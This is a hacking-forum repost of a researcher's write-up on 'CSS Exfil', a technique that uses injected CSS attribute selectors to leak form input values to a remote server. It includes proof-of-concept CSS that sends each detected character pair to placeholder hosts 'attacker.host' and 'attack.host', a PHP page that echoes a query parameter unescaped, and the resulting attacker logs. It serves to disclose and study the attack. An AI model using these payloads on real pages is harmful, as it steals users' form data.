• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Tools CSS Exfil Protection

Status
Not open for further replies.

0x1

LeVeL23 HacKerS TeaM
User
Joined
Nov 15, 2013
Messages
880
Reputation
0
Reaction score
6,315
Points
243
Credits
78
‎11 Years of Service‎
18%
CO4jpWu.png




Introducing CSS Exfil


Several months ago I began tinkering with Chrome's XSS auditor looking for bypasses.  One remote injection method which reliably got through Chrome's filter was CSS injection.  By utilizing injected CSS, an attacker essentially has complete control over the look-and-feel of a page.  I also discovered an attacker can leverage CSS to steal form data.  By utilizing CSS alone, browser protections like NoScript can't block the egress of data (although NoScript's XSS auditor is more effective than Chrome at blocking some of the injection Proof of Concept attacks detailed below).

While CSS injection is not a new vulnerability, using CSS as the sole attack vector to reliably exfiltrate data - to my knowledge - has never been presented.  I am also not aware of any effective method previously documented to guard end users against such attack - other than to block CSS, which is not a practical solution.


Related Work


The only mention I could find of a similar egress method, is
To see this hidden content, you must like this content.
, which demonstrates how CSS can be used to beacon an attacker when certain data is present on a web page.  (Admittedly, I found this page later when researching possible mitigation techniques.)  A couple weeks ago I also became aware of a GitHub project dubbed
To see this hidden content, you must like this content.
, which uses CSS to track web users.


Methods of Exploitation


There are a variety of attack scenarios which can leverage CSS Exfil, including:

  • Reflected or stored code injection flaws (e.g. any page vulnerable to XSS)
  • Hijacked or malicious 3rd party resources intentionally or accidentally included within the DOM (Document Object Model) of the target element.
    e.g.:


    Web tracker snippits
  • Remarketing code
  • Advertisements which are not not encapsulated within an iframe
  • Web development plugins/libraries/frameworks

[*]Malicious or hijacked browser extensions




Anatomy of the Attack


The CSS Exfil attack centers around the CSS 'value selectors', which can be used to parse HTML tag attribute data.  Here is a summary of these selectors:

[attribute=value] [foo=bar] Selects all elements with foo="bar"
[attribute~=value] [foo~=bar] Selects all elements with a foo attribute containing the word "bar"
[attribute|=value] [foo|=bar] Selects all elements with a foo attribute value starting with "bar"
[attribute^=value] [foo^="bar"] Selects all elements with a foo attribute value starting with "bar"
[attribute$=value] [foo$="bar"] Selects all elements with a foo attribute value ending with "bar"
[attribute*=value] [foo*="bar"] Selects all elements with a foo attribute which contains the substring "bar"


This simple example demonstrates how these selectors can be abused:

<style>
#username[value="mikeg"] {
background:url("https://attacker.host/mikeg");
}
</style>
<input id="username" value="mikeg" />


In the above example, when the HTML/CSS is rendered in a web browser, a background image is loaded on a remote host controlled by the attacker, indicating the value of the input is 'mikeg'. To make the attack more useful, additional text parsing is required. Below are several proof of concept exploits demonstrating the variety, scope, and severity of potential attacks.

Proof of Concept


Basic CSS Exfil example which shows how malicious CSS/HTML can be used to leak page data.


<html>
<head>
<style>
#username[value*="aa"]~#aa{background:url("https://attack.host/aa");}#username[value*="ab"]~#ab{background:url("https://attack.host/ab");}#username[value*="ac"]~#ac{background:url("https://attack.host/ac");}#username[value^="a"]~#a_{background:url("https://attack.host/a_");}#username[value$="a"]~#_a{background:url("https://attack.host/_a");}#username[value*="ba"]~#ba{background:url("https://attack.host/ba");}#username[value*="bb"]~#bb{background:url("https://attack.host/bb");}#username[value*="bc"]~#bc{background:url("https://attack.host/bc");}#username[value^="b"]~#b_{background:url("https://attack.host/b_");}#username[value$="b"]~#_b{background:url("https://attack.host/_b");}#username[value*="ca"]~#ca{background:url("https://attack.host/ca");}#username[value*="cb"]~#cb{background:url("https://attack.host/cb");}#username[value*="cc"]~#cc{background:url("https://attack.host/cc");}#username[value^="c"]~#c_{background:url("https://attack.host/c_");}#username[value$="c"]~#_c{background:url("https://attack.host/_c");}
</style>
</head>
<body>
<form>
Username: <input type="text" id="username" name="username" value="<?php echo $_GET['username']; ?>" />
<input id="form_submit" type="submit" value="submit"/>
<a id="aa"><a id="ab"><a id="ac"><a id="a_"><a id="_a"><a id="ba"><a id="bb"><a id="bc"><a id="b_"><a id="_b"><a id="ca"><a id="cb"><a id="cc"><a id="c_"><a id="_c">
</form>
</body>
</html>


The above example isn't all that realistic but it demonstrates the fundamentals of the CSS Exfil attack. When a user enters any string consisting of the letters 'a' 'b 'c', specific elements will be styled with a non-existent background image at a remote attacker URL. For the attack to succeed three conditions need to be in place:

Upon visiting hxxps://victim[.]host/css-exfil-poc1[.]php?username=abcab, the attacker will receive data like this.

127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /ab HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /a_ HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /bc HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /_b HTTP/1.1" 404 22
127.0.0.1 - - [25/Jan/2018:22:36:46 -0500] "GET /ca HTTP/1.1" 404 22


Which can be re-assembled like this:

a # a_
ab # ab
abc # bc
abca # ca
abcab # _b


The malicious CSS utilizes pattern matching for two character combinations ('aa', 'ab', 'ac'...) as well as detection of the first and last letter of the string ('a_' & '_a' callbacks). This method provides a reliable method of reconstructing data. The limitation is that repeating patterns may not always be apparent and reconstruction may sometimes require human intelligence if the data decodes to multiple strings.

Why not use three character matching or longer? In a word: practicality. If the structure of the data can be anticipated it may be possible to use longer strings, which I will illustrate below. The more targeted the attack the more it becomes possible to make better data predictions and reduce the CSS footprint. But in general, the two-character first/last-character approach provides the best performance to attack footprint.

All two letter English alphabet lower case alphabet permutations work out to P(26,2) = 650. Three character permutations increases the footprint to P(26,3) = 15,600, making it much more unlikely that Condition #2 will be possible. This table describes the attributes of various attack alphabet.





Alphabet


Regex


Calculation


Required Elements


Estimated CSS Payload




Numeric


[0-9]


P(10,2) + (10 * 2)


110


7.7 KB




Lowercase


[a-z]


P(26,2) + (26 * 2)


702


49.14 KB




Lower/uppercase


[A-Za-z]


P(52,2) + (52 * 2)


2,756


192.92 KB




Lower/uppercase / Numeric


[A-Za-z0-9]


P(62,2) + (62 * 2)


3,906


273.42 KB




Lower/uppercase / Numeric / 32 symbols


 


P(94,2) + (92 * 2)


8,926


624.82 KB







Depending where the targeted data element resides within a page, large alphabets may be possible without HTML injection. Running document.getElementsByTagName('*').length; in your browser console will display the total number of DOM (Document Object Model) elements on a page, which can provide an upper bound. For example, my homepage (at the time of this writing) has ~750 DOM elements in total. A test of Slashdot yielded ~2,100 elements and Google News yielded ~6,900 elements! That's not to say that each DOM element can be properly referenced by the target element, but it gives an upper bound on what may be possible without additional DOM injection.

  • Condition #1: The data being parsed must be present on page load
  • Condition #2: There must be one or more elements which can be referenced via a CSS selector relative to the data element
  • Condition #3: The element must be styled with a CSS property which takes a URL (e.g. background / background-image, list-style / list-style-image, or cursor).

More info && Download

To see this hidden content, you must like this content.

 ​

 ​
 
Status
Not open for further replies.
Back
Top